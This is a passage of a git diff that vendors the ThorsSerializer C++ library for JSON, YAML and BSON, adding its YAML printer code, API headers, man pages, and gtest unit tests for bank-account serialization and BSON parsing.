YAML_FLOW_SEQUENCE_STYLE; break; + case PrinterInterface::OutputType::Config: style = YAML_BLOCK_SEQUENCE_STYLE;break; + default: style = YAML_ANY_SEQUENCE_STYLE; break; + } + checkYamlResultCode( + [&](yaml_event_t& event){return yaml_sequence_start_event_initialize(&event, NULL, NULL, 1, style);}, + "openArray", + "yaml_sequence_start_event_initialize"); + state.emplace_back(0, TraitType::Array); +} +HEADER_ONLY_INCLUDE +void YamlPrinter::closeArray() +{ + checkYamlResultCode( + [&](yaml_event_t& event){return yaml_sequence_end_event_initialize(&event);}, + "closeArray", + "yaml_sequence_end_event_initialize"); + state.pop_back(); +} + +template +void YamlPrinter::emit(T const& data) +{ + std::stringstream buffer; + buffer << data; + + checkYamlResultCode( + [&](yaml_event_t& event) + { + return yaml_scalar_event_initialize( + &event, + NULL, + NULL, + reinterpret_cast(const_cast(buffer.str().c_str())), + buffer.str().size(), + 1, + 0, + YAML_ANY_SCALAR_STYLE); + }, + "emit", + "yaml_scalar_event_initialize"); + ++state.back().first; +} +HEADER_ONLY_INCLUDE +void YamlPrinter::emitNull() +{ + static yaml_char_t nullObject[] = "null"; + checkYamlResultCode( + [&](yaml_event_t& event) + { + return yaml_scalar_event_initialize( + &event, + NULL, + NULL, + nullObject, + 4, + 1, + 1, + YAML_ANY_SCALAR_STYLE); + }, + "emit", + "yaml_scalar_event_initialize"); + ++state.back().first; +} + +HEADER_ONLY_INCLUDE +void YamlPrinter::addKey(std::string const& key) +{ + if (state.back().second != TraitType::Map && state.back().first % 2 != 1) + { + error = true; + ThorsLogAndThrow("ThorsAnvil::Serialize::YamlPrinter", + "addKey", + "Invalid call to addKey(): Currently not in a map"); + } + emit(key); +} diff --git a/Extern/include/ThorsSerializer/YamlPrinter.h b/Extern/include/ThorsSerializer/YamlPrinter.h new file mode 100644 index 0000000..c6be26f --- /dev/null +++ b/Extern/include/ThorsSerializer/YamlPrinter.h @@ -0,0 +1,70 @@ +#ifndef THORS_ANVIL_SERIALIZE_YAML_PRINTER_H +#define THORS_ANVIL_SERIALIZE_YAML_PRINTER_H + +#include + +#include "Serialize.h" +#include +#include +#include + +namespace ThorsAnvil +{ + namespace Serialize + { + +class YamlPrinter: public PrinterInterface +{ + yaml_emitter_t emitter; + bool error; + std::vector> state; + + void checkYamlResultCode(int code, char const* method, char const* msg); + void checkYamlResultCode(std::function init, char const* method, char const* msg); + template + void emit(T const& data); + void emitNull(); + public: + YamlPrinter(std::ostream& output, PrinterConfig config = PrinterConfig{}); + ~YamlPrinter(); + virtual FormatType formatType() override {return FormatType::Json;} + virtual void openDoc() override; + virtual void closeDoc() override; + virtual void openMap(std::size_t size) override; + virtual void closeMap() override; + virtual void openArray(std::size_t size) override; + virtual void closeArray() override; + + virtual void addKey(std::string const& key) override; + + virtual void addValue(short int value) override {emit(value);} + virtual void addValue(int value) override {emit(value);} + virtual void addValue(long int value) override {emit(value);} + virtual void addValue(long long int value) override {emit(value);} + + virtual void addValue(unsigned short int value) override {emit(value);} + virtual void addValue(unsigned int value) override {emit(value);} + virtual void addValue(unsigned long int value) override {emit(value);} + virtual void addValue(unsigned long long int value) override {emit(value);} + + virtual void addValue(float value) override {emit(value);} + virtual void addValue(double value) override {emit(value);} + virtual void addValue(long double value) override {emit(value);} + + virtual void addValue(bool value) override {emit(value?"true":"false");} + + virtual void addValue(std::string const& value) override {emit(value);} + + virtual void addRawValue(std::string const& value) override {emit(value);} + + virtual void addNull() override {emitNull();} +}; + + } +} + +#if defined(HEADER_ONLY) && HEADER_ONLY == 1 +#include "YamlPrinter.source" +#endif + +#endif diff --git a/Extern/include/ThorsSerializer/YamlThor.h b/Extern/include/ThorsSerializer/YamlThor.h new file mode 100644 index 0000000..a82123c --- /dev/null +++ b/Extern/include/ThorsSerializer/YamlThor.h @@ -0,0 +1,71 @@ +#ifndef THORS_ANVIL_SERIALIZE_YAML_H +#define THORS_ANVIL_SERIALIZE_YAML_H +/* + * Defines the Yaml Serialization interface + * ThorsAnvil::Serialize::Yaml + * ThorsAnvil::Serialize::yamlExporter + * ThorsAnvil::Serialize::yamlImporter + * + * Usage: + * std::cout << yamlExporter(object); // converts object to Yaml on an output stream + * std::cin >> yamlImporter(object); // converts Yaml to a C++ object from an input stream + */ + + +#include "YamlParser.h" +#include "YamlPrinter.h" +#include "Exporter.h" +#include "Importer.h" +#include "SerUtil.h" + +namespace ThorsAnvil +{ + namespace Serialize + { + +struct Yaml +{ + using Parser = YamlParser; + using Printer = YamlPrinter; +}; + +// @function-api +// @param value The object to be serialized. +// @param config.characteristics 'Default': uses Config/Stream depending on global config. 'Config': Is verbose and logical. 'Stream': Remove all white space. +// @param config.polymorphicMarker Jason object name for holding the polymorphic class name of the type. Default: __type +// @param config.catchExceptions 'false: exceptions propogate. 'true': parsing exceptions are stopped. +// @return Object that can be passed to operator<< for serialization. +template +Exporter yamlExporter(T const& value, PrinterInterface::PrinterConfig config = PrinterInterface::PrinterConfig{}) +{ + return Exporter(value, config); +} +template +[[deprecated("Upgrade to use yamlExporter(). It has a more consistent interface. The difference is exceptions are caught by default and you need to manually turn the m off. Turning the exceptions on/off is now part of the config object rahter than a seprate parameter.")]] +Exporter yamlExport(T const& value, PrinterInterface::PrinterConfig config = PrinterInterface::PrinterConfig{}, bool catchExceptions = false) +{ + config.catchExceptions = catchExceptions; + return yamlExporter(value, config); +} +// @function-api +// @param value The object to be de-serialized. +// @param config.parseStrictness 'Weak': ignore missing extra fields. 'Strict': Any missing or extra fields throws exception. +// @param config.polymorphicMarker Jason object name for holding the polymorphic class name of the type. Default: __type +// @param config.catchExceptions 'false: exceptions propogate. 'true': parsing exceptions are stopped. +// @return Object that can be passed to operator>> for de-serialization. +template +Importer yamlImporter(T& value, ParserInterface::ParserConfig config = ParserInterface::ParserConfig{}) +{ + return Importer(value, config); +} +template +[[deprecated("Upgrade to use yamlImporter(). It has a more consistent interface. The difference is exceptions are caught by default and you need to manually turn them off. Turning the exceptions on/off is now part of the config object rahter than a seprate parameter.")]] +Importer yamlImport(T& value, ParserInterface::ParserConfig config = ParserInterface::ParserConfig{}, bool catchExceptions = false) +{ + config.catchExceptions = catchExceptions; + return yamlImporter(value, config); +} + } +} + +#endif diff --git a/Extern/include/ThorsSerializer/man/man3/ThorsAnvil_ExpandTrait.3 b/Extern/include/ThorsSerializer/man/man3/ThorsAnvil_ExpandTrait.3 new file mode 100644 index 0000000..e50e411 --- /dev/null +++ b/Extern/include/ThorsSerializer/man/man3/ThorsAnvil_ExpandTrait.3 @@ -0,0 +1,44 @@ +.TH libThorSerialize 3 +.SH NAME +libThorSerialize17 \- Serialization library for Json/Yaml +.SH SYNOPSIS +.B #include "ThorSerialize/Trats.h" + + ThorsAnvil_ExpandTrait(ParentType, DataType, ...); +.SH DESCRIPTION +Declares a derived class as 'serializable'. Note the parent class must already be declared serializable with either `ThorsAnvil_ExpandTrait()` or `ThorsAnvil_MakeTrait()`. + + #include "ThorSerialize/JsonThor.h" + #include "ThorSerialize/Traits.h" + #include + + class Base + { + int a; + std::string b; + friend class ThorsAnvil::Serialize::Traits; + }; + ThorsAnvil_MakeTrait(Base, a, b); + + class Derived: public Base + { + int c; + std::string d + friend class ThorsAnvil::Serialize::Traits; + }; + ThorsAnvil_ExpandTrait(Base, Derived, c, d); + + int main() + { + Base base {1, "Test"}; + Derived derived { base, 15, "Plop" }; + + std::cout << ThorsAnvil::Serialize::jsonExport(derived) << "\n"; + } + +.SH SEE ALSO +libThorSerialize jsonExport jsonImport yamlExport yamlImport ThorsAnvil_MakeTrait ThorsAnvil_ExpandTrait ThorsAnvil_Template_MakeTrait ThorsAnvil_Template_ExpandTrait ThorsAnvil_MakeEnum ThorsAnvil_MakeTraitCustom + +.SH MORE INFO +https://github.com/Loki-Astari/ThorsSerializer + diff --git a/Extern/include/ThorsSerializer/man/man3/ThorsAnvil_MakeEnum.3 b/Extern/include/ThorsSerializer/man/man3/ThorsAnvil_MakeEnum.3 new file mode 100644 index 0000000..dd69a47 --- /dev/null +++ b/Extern/include/ThorsSerializer/man/man3/ThorsAnvil_MakeEnum.3 @@ -0,0 +1,32 @@ +.TH libThorSerialize 3 +.SH NAME +libThorSerialize17 \- Serialization library for Json/Yaml +.SH SYNOPSIS +.B #include "ThorSerialize/Trats.h" + + ThorsAnvil_MakeEnum(, ...); +.SH DESCRIPTION +Allows an enum to be serialized to a string and read from a string back into an enum. + + #include "ThorSerialize/JsonThor.h" + #include "ThorSerialize/Traits.h" + #include + + enum Colour { Red, Green, Blue}; + ThorsAnvil_MakeEnum(Colour, Red, Green, Blue); + + int main() + { + Colour a = Red; + std::cout << ThorsAnvil::Serialize::jsonExport(a) << "\n"; + + Colour b = Blue; + std::cin >> ThorsAnvil::Serialize::yamlImport(b); + } + +.SH SEE ALSO +libThorSerialize jsonExport jsonImport yamlExport yamlImport ThorsAnvil_MakeTrait ThorsAnvil_ExpandTrait ThorsAnvil_Template_MakeTrait ThorsAnvil_Template_ExpandTrait ThorsAnvil_MakeEnum ThorsAnvil_MakeTraitCustom + +.SH MORE INFO +https://github.com/Loki-Astari/ThorsSerializer + diff --git a/Extern/include/ThorsSerializer/man/man3/ThorsAnvil_MakeTrait.3 b/Extern/include/ThorsSerializer/man/man3/ThorsAnvil_MakeTrait.3 new file mode 100644 index 0000000..26071b6 --- /dev/null +++ b/Extern/include/ThorsSerializer/man/man3/ThorsAnvil_MakeTrait.3 @@ -0,0 +1,35 @@ +.TH libThorSerialize 3 +.SH NAME +libThorSerialize17 \- Serialization library for Json/Yaml +.SH SYNOPSIS +.B #include "ThorSerialize/Trats.h" + + ThorsAnvil_MakeTrait(DataType, ...); +.SH DESCRIPTION +Declares a base class as 'serializable'. + + #include "ThorSerialize/JsonThor.h" + #include "ThorSerialize/Traits.h" + #include + + class Base + { + int a; + std::string b; + friend class ThorsAnvil::Serialize::Traits; + }; + ThorsAnvil_MakeTrait(Base, a, b); + + int main() + { + Base base {1, "Test"}; + + std::cout << ThorsAnvil::Serialize::jsonExport(base) << "\n"; + } + +.SH SEE ALSO +libThorSerialize jsonExport jsonImport yamlExport yamlImport ThorsAnvil_MakeTrait ThorsAnvil_ExpandTrait ThorsAnvil_Template_MakeTrait ThorsAnvil_Template_ExpandTrait ThorsAnvil_MakeEnum ThorsAnvil_MakeTraitCustom + +.SH MORE INFO +https://github.com/Loki-Astari/ThorsSerializer + diff --git a/Extern/include/ThorsSerializer/man/man3/ThorsAnvil_MakeTraitCustom.3 b/Extern/include/ThorsSerializer/man/man3/ThorsAnvil_MakeTraitCustom.3 new file mode 100644 index 0000000..fdd20a0 --- /dev/null +++ b/Extern/include/ThorsSerializer/man/man3/ThorsAnvil_MakeTraitCustom.3 @@ -0,0 +1,58 @@ +.TH libThorSerialize 3 +.SH NAME +libThorSerialize17 \- Serialization library for Json/Yaml +.SH SYNOPSIS +.B #include "ThorSerialize/Trats.h" + + ThorsAnvil_MakeTraitCustom(DataType); +.SH DESCRIPTION +All the standard types read and write to the basic C++ types. But sometimes it is nice to write custom handlers. This declaration allows you to write a custom handler that will be used to serialize/deserialize a basic type. By basic type we mean (Null/Bool/Int/Float/String). This can be useful if you want to serialize a floating point number exactly (as a float will normally be read into a `double or float` which does not have an exact representation). Maybe your class can represent floating point numbers exactly to 11 decimal points. + +Note the class must serialize to a standard string representation (otherwise the json or yaml will be broken). + + #include "ThorSerialize/JsonThor.h" + #include "ThorSerialize/Traits.h" + #include + + class Location + { + int xValue; + int yValue; + friend std::ostream& operator<<(std::ostream& str, Location const& data) { + return str << data.xValue << "." << data.yValue; + } + friend std::istream& operator<<(std::istream& str, Location& data) { + Location tmp; + char pt = 'X'; + if (str >> tmp.xValue >> pt >> tmp.yValue && pt == '.') { + data = tmp; + } + else { + str.setstate(std::ios::failbit); + } + return str; + } + }; + ThorsAnvil_MakeTraitCustom(Location); + + class PointOfInterest + { + Location loc; + std::string what; + friend class ThorsAnvil::Serialize::Traits; + }; + ThorsAnvil_MakeTrait(PointOfInterest, loc, what); + + int main() + { + PointOfInterest point{ Location{56,78}, "Plop" }; + + std::cout << ThorsAnvil::Serialize::jsonExport(point) << "\n"; + } + +.SH SEE ALSO +libThorSerialize jsonExport jsonImport yamlExport yamlImport ThorsAnvil_MakeTrait ThorsAnvil_ExpandTrait ThorsAnvil_Template_MakeTrait ThorsAnvil_Template_ExpandTrait ThorsAnvil_MakeEnum ThorsAnvil_MakeTraitCustom + +.SH MORE INFO +https://github.com/Loki-Astari/ThorsSerializer + diff --git a/Extern/include/ThorsSerializer/man/man3/jsonExport.3 b/Extern/include/ThorsSerializer/man/man3/jsonExport.3 new file mode 100644 index 0000000..6cc0081 --- /dev/null +++ b/Extern/include/ThorsSerializer/man/man3/jsonExport.3 @@ -0,0 +1,23 @@ +.TH libThorSerialize 3 +.SH NAME +libThorSerialize17 \- Serialization library for Json/Yaml +.SH SYNOPSIS +.B #include "ThorSerialize/JsonThor.h" + + namespace ThorsAnvil::Serialize { + enum class OutputType {Default, Stream, Config}; + enum class ParseType {Weak, Strict}; + + OutputStremable jsonExport(SerializableObj obj, OutputType characteristics = Default); + } +.SH DESCRIPTION +.B jsonExport() takes a 'serializable object' and creates an object that can be passed to a std::ostream object. The object is converted into JSON formatted text on the stream. + +See libThorSerialize on how to make object serializable. + +.SH SEE ALSO +libThorSerialize jsonExport jsonImport yamlExport yamlImport ThorsAnvil_MakeTrait ThorsAnvil_ExpandTrait ThorsAnvil_Template_MakeTrait ThorsAnvil_Template_ExpandTrait ThorsAnvil_MakeEnum ThorsAnvil_MakeTraitCustom + +.SH MORE INFO +https://github.com/Loki-Astari/ThorsSerializer + diff --git a/Extern/include/ThorsSerializer/man/man3/jsonImport.3 b/Extern/include/ThorsSerializer/man/man3/jsonImport.3 new file mode 100644 index 0000000..670dca9 --- /dev/null +++ b/Extern/include/ThorsSerializer/man/man3/jsonImport.3 @@ -0,0 +1,23 @@ +.TH libThorSerialize 3 +.SH NAME +libThorSerialize17 \- Serialization library for Json/Yaml +.SH SYNOPSIS +.B #include "ThorSerialize/JsonThor.h" + + namespace ThorsAnvil::Serialize { + enum class OutputType {Default, Stream, Config}; + enum class ParseType {Weak, Strict}; + + InputStreamable jsonImport(SerializableObj obj, ParseType characteristics = Weak); + } +.SH DESCRIPTION +.B jsonImport() takes a 'serializable object' and creates an object that can be passed to a std::istream object. The stream reads a JSON formatted stream directly into 'obj' without creating an intermedia structure. + +See libThorSerialize on how to make object serializable. + +.SH SEE ALSO +libThorSerialize jsonExport jsonImport yamlExport yamlImport ThorsAnvil_MakeTrait ThorsAnvil_ExpandTrait ThorsAnvil_Template_MakeTrait ThorsAnvil_Template_ExpandTrait ThorsAnvil_MakeEnum ThorsAnvil_MakeTraitCustom + +.SH MORE INFO +https://github.com/Loki-Astari/ThorsSerializer + diff --git a/Extern/include/ThorsSerializer/man/man3/libThorSerialize.3 b/Extern/include/ThorsSerializer/man/man3/libThorSerialize.3 new file mode 100644 index 0000000..516ecc9 --- /dev/null +++ b/Extern/include/ThorsSerializer/man/man3/libThorSerialize.3 @@ -0,0 +1,47 @@ +.TH libThorSerialize 3 +.SH NAME +libThorSerialize17 \- Serialization library for Json/Yaml +.SH SYNOPSIS +.B -lThorSerialize17 + +.B -lThorSerialize17D + +.B #include "ThorSerialize/JsonThor.h" + +.B #include "ThorSerialize/YamlThor.h" + + namespace ThorsAnvil::Serialize { + enum class OutputType {Default, Stream, Config}; + enum class ParseType {Weak, Strict}; + + OutputStremable jsonExport(SerializableObj obj, OutputType characteristics = Default); + InputStreamable jsonImport(SerializableObj obj, ParseType characteristics = Weak); + + OutputStremable yamlExport(SerializableObj obj, OutputType characteristics = Default); + InputStreamable yamlImport(SerializableObj obj, ParseType characteristics = Weak); + } + +.B #include "ThorSerialize/Trats.h" + + // Utility Macros + ThorsAnvil_MakeTrait(DataType, ...); + ThorsAnvil_ExpandTrait(ParentType, DataType, ...); + // See ThorsAnvil_MakeTrait + ThorsAnvil_Template_MakeTrait(TemplateParameterCount, DataType, ...); + // See ThorsAnvil_ExpandTrait + ThorsAnvil_Template_ExpandTrait(TemplateParameterCount, ParentType, DataType, ...); + ThorsAnvil_MakeEnum(, ...); + ThorsAnvil_MakeTraitCustom(DataType); + +.B #include "ThorSerialize/Util.h" + + // This header contains the serialization definitions of all the standard containers. +.SH DESCRIPTION +The macros `ThorsAnvil_*()` can be used to mark classes as serializable. The `*Export()` functions can be used to serialize the object to a stream while the `*Import()` functions can be used to read data from a stream directly into an object. + +.SH SEE ALSO +libThorSerialize jsonExport jsonImport yamlExport yamlImport ThorsAnvil_MakeTrait ThorsAnvil_ExpandTrait ThorsAnvil_Template_MakeTrait ThorsAnvil_Template_ExpandTrait ThorsAnvil_MakeEnum ThorsAnvil_MakeTraitCustom + +.SH MORE INFO +https://github.com/Loki-Astari/ThorsSerializer + diff --git a/Extern/include/ThorsSerializer/man/man3/yamlExport.3 b/Extern/include/ThorsSerializer/man/man3/yamlExport.3 new file mode 100644 index 0000000..19c160a --- /dev/null +++ b/Extern/include/ThorsSerializer/man/man3/yamlExport.3 @@ -0,0 +1,23 @@ +.TH libThorSerialize 3 +.SH NAME +libThorSerialize17 \- Serialization library for Json/Yaml +.SH SYNOPSIS +.B #include "ThorSerialize/YamlThor.h" + + namespace ThorsAnvil::Serialize { + enum class OutputType {Default, Stream, Config}; + enum class ParseType {Weak, Strict}; + + OutputStremable YamlExport(SerializableObj obj, OutputType characteristics = Default); + } +.SH DESCRIPTION +.B jsonExport() takes a 'serializable object' and creates an object that can be passed to a std::ostream object. The object is converted into JSON formatted text on the stream. + +See libThorSerialize on how to make object serializable. + +.SH SEE ALSO +libThorSerialize jsonExport jsonImport yamlExport yamlImport ThorsAnvil_MakeTrait ThorsAnvil_ExpandTrait ThorsAnvil_Template_MakeTrait ThorsAnvil_Template_ExpandTrait ThorsAnvil_MakeEnum ThorsAnvil_MakeTraitCustom + +.SH MORE INFO +https://github.com/Loki-Astari/ThorsSerializer + diff --git a/Extern/include/ThorsSerializer/man/man3/yamlImport.3 b/Extern/include/ThorsSerializer/man/man3/yamlImport.3 new file mode 100644 index 0000000..214600c --- /dev/null +++ b/Extern/include/ThorsSerializer/man/man3/yamlImport.3 @@ -0,0 +1,23 @@ +.TH libThorSerialize 3 +.SH NAME +libThorSerialize17 \- Serialization library for Json/Yaml +.SH SYNOPSIS +.B #include "ThorSerialize/YamlThor.h" + + namespace ThorsAnvil::Serialize { + enum class OutputType {Default, Stream, Config}; + enum class ParseType {Weak, Strict}; + + InputStreamable yamlImport(SerializableObj obj, ParseType characteristics = Weak); + } +.SH DESCRIPTION +.B yamlImport() takes a 'serializable object' and creates an object that can be passed to a std::istream object. The stream reads a JSON formatted stream directly into 'obj' without creating an intermedia structure. + +See libThorSerialize on how to make object serializable. + +.SH SEE ALSO +libThorSerialize jsonExport jsonImport yamlExport yamlImport ThorsAnvil_MakeTrait ThorsAnvil_ExpandTrait ThorsAnvil_Template_MakeTrait ThorsAnvil_Template_ExpandTrait ThorsAnvil_MakeEnum ThorsAnvil_MakeTraitCustom + +.SH MORE INFO +https://github.com/Loki-Astari/ThorsSerializer + diff --git a/Extern/include/ThorsSerializer/test/BankAccountTest.cpp b/Extern/include/ThorsSerializer/test/BankAccountTest.cpp new file mode 100644 index 0000000..743d428 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/BankAccountTest.cpp @@ -0,0 +1,70 @@ +#include "gtest/gtest.h" +#include "BankAccountTest.h" +#include +#include +#include +#include + +ThorsAnvil_RegisterPolyMorphicType(OnLineBank::CurrentAccount); +ThorsAnvil_RegisterPolyMorphicType(OnLineBank::DepositAccount); + +TEST(BankAccountTest, JsonExportCustomField) +{ + bool serializeOK = false; + bool deserializeOK = false; + + OnLineBank::CurrentAccount src(OnLineBank::ID{234}, 888, "This is an account", true); + + src.addTransaction(1, 32, OnLineBank::Deposit); + src.addTransaction(2, 12, OnLineBank::Withdraw); + + std::stringstream stream; + if (stream << ThorsAnvil::Serialize::jsonExporter(src)) + { + serializeOK = true; + } + + OnLineBank::CurrentAccount dst; + if (stream >>ThorsAnvil::Serialize::jsonImporter(dst)) + { + deserializeOK = true; + } + + EXPECT_TRUE(serializeOK); + EXPECT_TRUE(deserializeOK); + + EXPECT_EQ(234, dst.getAccountIdent()); + EXPECT_EQ(888 + 32 - 12, dst.getBalance()); + EXPECT_TRUE(dst.isValid()); +} + +TEST(BankAccountTest, BsonExportCustomField) +{ + bool serializeOK = false; + bool deserializeOK = false; + + OnLineBank::CurrentAccount src(OnLineBank::ID{234}, 888, "This is an account", true); + + src.addTransaction(1, 32, OnLineBank::Deposit); + src.addTransaction(2, 12, OnLineBank::Withdraw); + + std::stringstream stream; + if (stream << ThorsAnvil::Serialize::bsonExporter(src)) + { + serializeOK = true; + } + + OnLineBank::CurrentAccount dst; + if (stream >> ThorsAnvil::Serialize::bsonImporter(dst)) + { + deserializeOK = true; + } + + EXPECT_TRUE(serializeOK); + EXPECT_TRUE(deserializeOK); + + EXPECT_EQ(234, dst.getAccountIdent()); + EXPECT_EQ(888 + 32 - 12, dst.getBalance()); + EXPECT_TRUE(dst.isValid()); +} + diff --git a/Extern/include/ThorsSerializer/test/BankAccountTest.h b/Extern/include/ThorsSerializer/test/BankAccountTest.h new file mode 100644 index 0000000..9bdae64 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/BankAccountTest.h @@ -0,0 +1,148 @@ +#ifndef BANK_ACCOUNT_TEST_H +#define BANK_ACCOUNT_TEST_H + +#include "SerializeConfig.h" + +#include "Traits.h" +#include "Serialize.h" +#include "SerUtil.h" + +#include "JsonThor.h" +#include "YamlThor.h" +#include "BsonThor.h" + +#include "CustomSerialization.h" + +#include "test/SerializeTest.h" +#include + + +namespace OnLineBank +{ + enum TransType {Error, Deposit, Withdraw, Correction}; + struct ID + { + long id; + ID() : id(-1){} + ID(long id): id(id){} + }; + struct SerializeID: public ThorsAnvil::Serialize::DefaultCustomSerializer + { + virtual void writeJson(ThorsAnvil::Serialize::JsonPrinter& printer, ID const& object) const override + { + printer.stream() << object.id; + } + virtual void readJson(ThorsAnvil::Serialize::JsonParser& parser, ID& object) const override + { + parser.stream() >> object.id; + } + + //virtual void writeYaml(ThorsAnvil::Serialize::YamlPrinter& printer, ID const& object) override + //virtual void readYaml(ThorsAnvil::Serialize::YamlParser& parser, ID& object) override + + // generic version we simply stream the integer value. + static constexpr std::size_t sizeOfID = 12; + virtual std::size_t getPrintSizeBson(ThorsAnvil::Serialize::BsonPrinter& /*printer*/, ID const& /*object*/) const override + { + return sizeOfID; + } + virtual char getBsonByteMark() const override {return '\x07';} + virtual void writeBson(ThorsAnvil::Serialize::BsonPrinter& printer, ID const& object) const override + { + printer.stream().write(reinterpret_cast(&object.id), sizeof(object.id)); + printer.stream().write(" ", sizeOfID - sizeof(object.id)); + } + virtual void readBson(ThorsAnvil::Serialize::BsonParser& parser, char /*byteMarker*/, ID& object) const override + { + parser.stream().read(reinterpret_cast(&object.id), sizeof(object.id)); + parser.stream().ignore(sizeOfID - sizeof(object.id)); + } + }; + + template + struct Flounder + { + T data; + }; + + struct Transaction + { + long timeStamp; + int amount; + TransType type; + Transaction() + : Transaction(0, 0, TransType::Error) + {} + Transaction(long timeStamp, int amount, TransType type) + : timeStamp(timeStamp) + , amount(amount) + , type(type) + {} + }; + class BankAccount + { + friend ThorsAnvil::Serialize::Traits; + ID id; + int balance; + std::string details; + bool valid; + protected: + void update(int amount) {balance += amount;} + public: + BankAccount() + : BankAccount(-1, -1, "Bad", false) + {} + BankAccount(ID const& id, int balance, std::string const& details, bool valid) + : id(id) + , balance(balance) + , details(details) + , valid(valid) + {} + virtual ~BankAccount() {} + int getAccountIdent() {return id.id;} + int getBalance() {return balance;} + bool isValid() {return valid;} + ThorsAnvil_PolyMorphicSerializer(OnLineBank::BankAccount); + // Normal Methods + }; + class CurrentAccount: public BankAccount + { + friend ThorsAnvil::Serialize::Traits; + std::vector actions; + public: + using BankAccount::BankAccount; + CurrentAccount() {} + ThorsAnvil_PolyMorphicSerializer(OnLineBank::CurrentAccount); + void addTransaction(long timeStamp, int amount, TransType type) + { + actions.emplace_back(timeStamp, amount, type); + switch (type) + { + case TransType::Withdraw: update(-amount);break; + case TransType::Deposit: update(amount);break; + case TransType::Correction: update(-getBalance() + amount);break; + default: break; + } + } + }; + class DepositAccount: public BankAccount + { + friend ThorsAnvil::Serialize::Traits; + int withdrawlLimit; + public: + using BankAccount::BankAccount; + DepositAccount() {} + ThorsAnvil_PolyMorphicSerializer(OnLineBank::DepositAccount); + }; +} + +ThorsAnvil_MakeEnum(OnLineBank::TransType, Error, Deposit, Withdraw, Correction); +ThorsAnvil_MakeTraitCustomSerialize(OnLineBank::ID, OnLineBank::SerializeID); +ThorsAnvil_MakeTrait(OnLineBank::Transaction, timeStamp, amount, type); +ThorsAnvil_Template_MakeTrait(1, OnLineBank::Flounder, data); +ThorsAnvil_MakeTrait(OnLineBank::BankAccount, id, balance, details, valid); +ThorsAnvil_ExpandTrait(OnLineBank::BankAccount, OnLineBank::CurrentAccount, actions); +ThorsAnvil_ExpandTrait(OnLineBank::BankAccount, OnLineBank::DepositAccount, withdrawlLimit); + +#endif + diff --git a/Extern/include/ThorsSerializer/test/BinaryParserTest.h b/Extern/include/ThorsSerializer/test/BinaryParserTest.h new file mode 100644 index 0000000..073ab30 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/BinaryParserTest.h @@ -0,0 +1,78 @@ + +#ifndef THORS_ANVIL_SERIALIZE_TEST_BINARY_PARSER_TEST_H +#define THORS_ANVIL_SERIALIZE_TEST_BINARY_PARSER_TEST_H + +#include "../Traits.h" +#include "../SerUtil.h" + +namespace BinaryParserTest +{ + +class MapEmptyTest {}; +class MapOneValue +{ + public: + int One; +}; +class MapTwoValue +{ + public: + int one; + int two; +}; +class MapThreeValue +{ + public: + int one; + int two; + int three; +}; +class MapWithArray +{ + public: + std::vector one; +}; +class MapWithTwoArray +{ + public: + std::vector one; + std::vector two; +}; +class MapWithMap +{ + public: + MapEmptyTest one; +}; +class MapWithTwoMap +{ + public: + MapEmptyTest one; + MapEmptyTest two; +}; +class Base +{ + public: + int ace; + int val; +}; +class Derived: public Base +{ + public: + int der; + float flt; +}; + +} +ThorsAnvil_MakeTrait(BinaryParserTest::MapEmptyTest); +ThorsAnvil_MakeTrait(BinaryParserTest::MapOneValue, One); +ThorsAnvil_MakeTrait(BinaryParserTest::MapTwoValue, one, two); +ThorsAnvil_MakeTrait(BinaryParserTest::MapThreeValue, one, two, three); +ThorsAnvil_MakeTrait(BinaryParserTest::MapWithArray, one); +ThorsAnvil_MakeTrait(BinaryParserTest::MapWithTwoArray, one, two); +ThorsAnvil_MakeTrait(BinaryParserTest::MapWithMap, one); +ThorsAnvil_MakeTrait(BinaryParserTest::MapWithTwoMap, one, two); +ThorsAnvil_MakeTrait(BinaryParserTest::Base, ace, val); +ThorsAnvil_ExpandTrait(BinaryParserTest::Base, BinaryParserTest::Derived, der, flt); + +#endif + diff --git a/Extern/include/ThorsSerializer/test/BsonLongArrayTest.cpp b/Extern/include/ThorsSerializer/test/BsonLongArrayTest.cpp new file mode 100644 index 0000000..ecf91ef --- /dev/null +++ b/Extern/include/ThorsSerializer/test/BsonLongArrayTest.cpp @@ -0,0 +1,20 @@ +#include "gtest/gtest.h" +#include "BsonThor.h" +#include "SerUtil.h" + +TEST(BsonLongArrayTest, ArrayWith110Elements) +{ + std::vector data; + for(int loop=0;loop < 110;++loop) { + data.emplace_back(56234 + loop); + } + + std::stringstream stream; + stream << ThorsAnvil::Serialize::bsonExporter(data); + + std::vector output; + stream >> ThorsAnvil::Serialize::bsonImporter(output); + + EXPECT_EQ(data, output); +} + diff --git a/Extern/include/ThorsSerializer/test/BsonParserTest.cpp b/Extern/include/ThorsSerializer/test/BsonParserTest.cpp new file mode 100644 index 0000000..ab48515 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/BsonParserTest.cpp @@ -0,0 +1,1842 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "BsonParser.h" + +// enum class ParserToken {Error, DocStart, DocEnd, MapStart, MapEnd, ArrayStart, ArrayEnd, Key, Value}; + +namespace TA=ThorsAnvil::Serialize; +using TA::ParserInterface; + +TEST(BsonParserTest, ArrayEmpty) +{ + //std::stringstream stream("[]"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x05\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} +TEST(BsonParserTest, ArrayOneValue) +{ + //std::stringstream stream("[12]"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x10" "0\x00" "\x0C\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); 